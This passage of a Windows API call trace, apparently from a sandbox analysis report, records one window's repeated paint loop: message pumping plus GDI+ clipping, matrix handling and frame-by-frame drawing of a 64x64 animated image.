(graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0173.938] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0173.938] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.938] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0173.939] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.939] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0173.939] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.940] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0173.940] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.940] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.940] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0173.941] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0173.941] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0173.941] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0173.941] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.941] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0173.941] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0173.941] GetCurrentObject (hdc=0x3c010210, type=0x1) returned 0x1b00017 [0173.941] GetCurrentObject (hdc=0x3c010210, type=0x2) returned 0x1900010 [0173.941] GetCurrentObject (hdc=0x3c010210, type=0x7) returned 0x1a05067e [0173.941] GetCurrentObject (hdc=0x3c010210, type=0x6) returned 0x18a002e [0173.941] SaveDC (hdc=0x3c010210) returned 1 [0173.941] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x560407c3 [0173.942] GetClipRgn (hdc=0x3c010210, hrgn=0x560407c3) returned 0 [0173.942] SelectClipRgn (hdc=0x3c010210, hrgn=0x26040b8a) returned 2 [0173.942] DeleteObject (ho=0x560407c3) returned 1 [0173.942] DeleteObject (ho=0x26040b8a) returned 1 [0173.942] OffsetViewportOrgEx (in: hdc=0x3c010210, x=0, y=0, lppt=0x274ed10 | out: lppt=0x274ed10) returned 1 [0173.942] GetNearestColor (hdc=0x3c010210, color=0xffffff) returned 0xffffff [0173.942] CreateSolidBrush (color=0xffffff) returned 0x2e100190 [0173.942] FillRect (hDC=0x3c010210, lprc=0x15d7c0, hbr=0x2e100190) returned 1 [0173.942] DeleteObject (ho=0x2e100190) returned 1 [0173.942] RestoreDC (hdc=0x3c010210, nSavedDC=-1) returned 1 [0173.942] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.943] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3c010210) returned 0x0 [0173.943] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb8a0dbd) returned 0x0 [0173.943] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.943] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0173.943] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0173.945] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.945] GetSystemMetrics (nIndex=42) returned 0 [0173.945] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0173.945] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0173.945] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0173.945] CoTaskMemFree (pv=0x1e91eca0) [0173.945] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0173.945] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0173.945] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0173.945] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0173.945] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3c010210, x1=0, y1=0, rop=0xcc0020) returned 1 [0173.945] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.945] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3c010210) returned 0x0 [0173.946] SelectObject (hdc=0x3c010210, h=0x185000f) returned 0x1a05067e [0173.946] DeleteDC (hdc=0x3c010210) returned 1 [0173.946] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.946] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0173.946] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0173.946] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0173.946] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0173.946] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0173.946] WaitMessage () returned 1 [0174.074] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.074] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.074] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.074] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.074] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.074] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0174.074] GetCurrentThreadId () returned 0xec0 [0174.074] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0174.074] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.074] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.074] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.074] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.074] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.075] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0174.075] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0174.075] CreateCompatibleDC (hdc=0x3010b83) returned 0x3f010210 [0174.075] SelectObject (hdc=0x3f010210, h=0x1a05067e) returned 0x185000f [0174.075] GdipCreateFromHDC (hdc=0x3f010210, graphics=0x15daf0) returned 0x0 [0174.075] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0174.075] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0174.076] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0174.076] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0174.076] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0174.076] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.076] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0174.076] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.076] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.077] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0174.077] GdipCreateRegion (region=0x15dc20) returned 0x0 [0174.077] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0174.077] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0174.077] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0174.077] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.077] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.077] GetSystemMetrics (nIndex=42) returned 0 [0174.077] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.077] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.078] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.078] CoTaskMemFree (pv=0x1e91eca0) [0174.078] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0174.078] GdipCreateRegion (region=0x15d710) returned 0x0 [0174.078] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0174.078] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0174.078] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0174.078] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0174.078] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.078] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.079] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.079] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0174.079] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.079] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.079] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.079] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.080] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0174.080] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0174.080] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0174.080] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0174.080] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.080] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0174.080] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0174.080] GetCurrentObject (hdc=0x3f010210, type=0x1) returned 0x1b00017 [0174.080] GetCurrentObject (hdc=0x3f010210, type=0x2) returned 0x1900010 [0174.080] GetCurrentObject (hdc=0x3f010210, type=0x7) returned 0x1a05067e [0174.080] GetCurrentObject (hdc=0x3f010210, type=0x6) returned 0x18a002e [0174.080] SaveDC (hdc=0x3f010210) returned 1 [0174.081] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x27040b8a [0174.081] GetClipRgn (hdc=0x3f010210, hrgn=0x27040b8a) returned 0 [0174.081] SelectClipRgn (hdc=0x3f010210, hrgn=0x570407c3) returned 2 [0174.081] DeleteObject (ho=0x27040b8a) returned 1 [0174.081] DeleteObject (ho=0x570407c3) returned 1 [0174.081] OffsetViewportOrgEx (in: hdc=0x3f010210, x=0, y=0, lppt=0x274f648 | out: lppt=0x274f648) returned 1 [0174.081] GetNearestColor (hdc=0x3f010210, color=0xffffff) returned 0xffffff [0174.081] CreateSolidBrush (color=0xffffff) returned 0x2f100190 [0174.081] FillRect (hDC=0x3f010210, lprc=0x15d7c0, hbr=0x2f100190) returned 1 [0174.081] DeleteObject (ho=0x2f100190) returned 1 [0174.082] RestoreDC (hdc=0x3f010210, nSavedDC=-1) returned 1 [0174.082] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.082] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3f010210) returned 0x0 [0174.082] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb880dbd) returned 0x0 [0174.082] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.082] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0174.082] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.082] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.082] GetSystemMetrics (nIndex=42) returned 0 [0174.082] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.082] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.082] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.082] CoTaskMemFree (pv=0x1e91eca0) [0174.082] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x8) returned 0x0 [0174.085] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0174.085] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0174.085] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0174.085] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0174.085] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3f010210, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.086] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.086] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3f010210) returned 0x0 [0174.086] SelectObject (hdc=0x3f010210, h=0x185000f) returned 0x1a05067e [0174.086] DeleteDC (hdc=0x3f010210) returned 1 [0174.086] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.086] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0174.086] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0174.086] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0174.086] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.086] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.086] WaitMessage () returned 1 [0174.231] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.231] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.231] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.231] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.231] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.231] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0174.231] GetCurrentThreadId () returned 0xec0 [0174.231] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0174.232] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.232] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.232] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.232] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.232] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.232] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0174.232] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0174.232] CreateCompatibleDC (hdc=0x1010b9d) returned 0xf010d1b [0174.233] SelectObject (hdc=0xf010d1b, h=0x1a05067e) returned 0x185000f [0174.233] GdipCreateFromHDC (hdc=0xf010d1b, graphics=0x15daf0) returned 0x0 [0174.233] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0174.233] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0174.233] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0174.233] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0174.233] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0174.233] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.233] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0174.234] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.234] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.234] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0174.234] GdipCreateRegion (region=0x15dc20) returned 0x0 [0174.234] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0174.234] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0174.234] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0174.235] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.235] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.235] GetSystemMetrics (nIndex=42) returned 0 [0174.235] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.235] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.235] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.235] CoTaskMemFree (pv=0x1e91eca0) [0174.235] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0174.235] GdipCreateRegion (region=0x15d710) returned 0x0 [0174.235] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0174.235] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0174.235] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0174.236] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0174.236] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.236] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.236] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.236] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0174.236] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.236] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.237] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.237] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.237] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0174.237] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0174.237] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0174.237] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0174.237] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.237] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0174.237] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0174.238] GetCurrentObject (hdc=0xf010d1b, type=0x1) returned 0x1b00017 [0174.238] GetCurrentObject (hdc=0xf010d1b, type=0x2) returned 0x1900010 [0174.238] GetCurrentObject (hdc=0xf010d1b, type=0x7) returned 0x1a05067e [0174.238] GetCurrentObject (hdc=0xf010d1b, type=0x6) returned 0x18a002e [0174.238] SaveDC (hdc=0xf010d1b) returned 1 [0174.238] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x580407c3 [0174.238] GetClipRgn (hdc=0xf010d1b, hrgn=0x580407c3) returned 0 [0174.238] SelectClipRgn (hdc=0xf010d1b, hrgn=0x28040b8a) returned 2 [0174.238] DeleteObject (ho=0x580407c3) returned 1 [0174.238] DeleteObject (ho=0x28040b8a) returned 1 [0174.238] OffsetViewportOrgEx (in: hdc=0xf010d1b, x=0, y=0, lppt=0x2750930 | out: lppt=0x2750930) returned 1 [0174.238] GetNearestColor (hdc=0xf010d1b, color=0xffffff) returned 0xffffff [0174.239] CreateSolidBrush (color=0xffffff) returned 0x30100190 [0174.239] FillRect (hDC=0xf010d1b, lprc=0x15d7c0, hbr=0x30100190) returned 1 [0174.239] DeleteObject (ho=0x30100190) returned 1 [0174.239] RestoreDC (hdc=0xf010d1b, nSavedDC=-1) returned 1 [0174.239] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.239] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xf010d1b) returned 0x0 [0174.239] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb860dbd) returned 0x0 [0174.239] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.239] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0174.240] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.240] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.240] GetSystemMetrics (nIndex=42) returned 0 [0174.240] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.240] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.240] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.240] CoTaskMemFree (pv=0x1e91eca0) [0174.241] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0174.241] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0174.241] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0174.241] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0174.241] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0xf010d1b, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.241] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.241] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xf010d1b) returned 0x0 [0174.241] SelectObject (hdc=0xf010d1b, h=0x185000f) returned 0x1a05067e [0174.241] DeleteDC (hdc=0xf010d1b) returned 1 [0174.241] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.242] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0174.242] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0174.242] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0174.242] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.242] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.242] WaitMessage () returned 1 [0174.365] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.366] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.366] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.366] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.366] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.366] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0174.366] GetCurrentThreadId () returned 0xec0 [0174.366] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0174.366] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.366] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.366] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.366] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.366] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.366] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0174.366] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0174.367] CreateCompatibleDC (hdc=0x2d010b73) returned 0x6010d04 [0174.367] SelectObject (hdc=0x6010d04, h=0x1a05067e) returned 0x185000f [0174.367] GdipCreateFromHDC (hdc=0x6010d04, graphics=0x15daf0) returned 0x0 [0174.367] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0174.367] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0174.367] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0174.367] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0174.367] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0174.367] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.367] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0174.368] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.368] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.368] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0174.368] GdipCreateRegion (region=0x15dc20) returned 0x0 [0174.368] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0174.368] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0174.369] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0174.369] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.369] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.369] GetSystemMetrics (nIndex=42) returned 0 [0174.369] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.369] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.369] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.369] CoTaskMemFree (pv=0x1e91eca0) [0174.369] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0174.369] GdipCreateRegion (region=0x15d710) returned 0x0 [0174.369] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0174.369] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0174.369] GdipGetWorldTransform 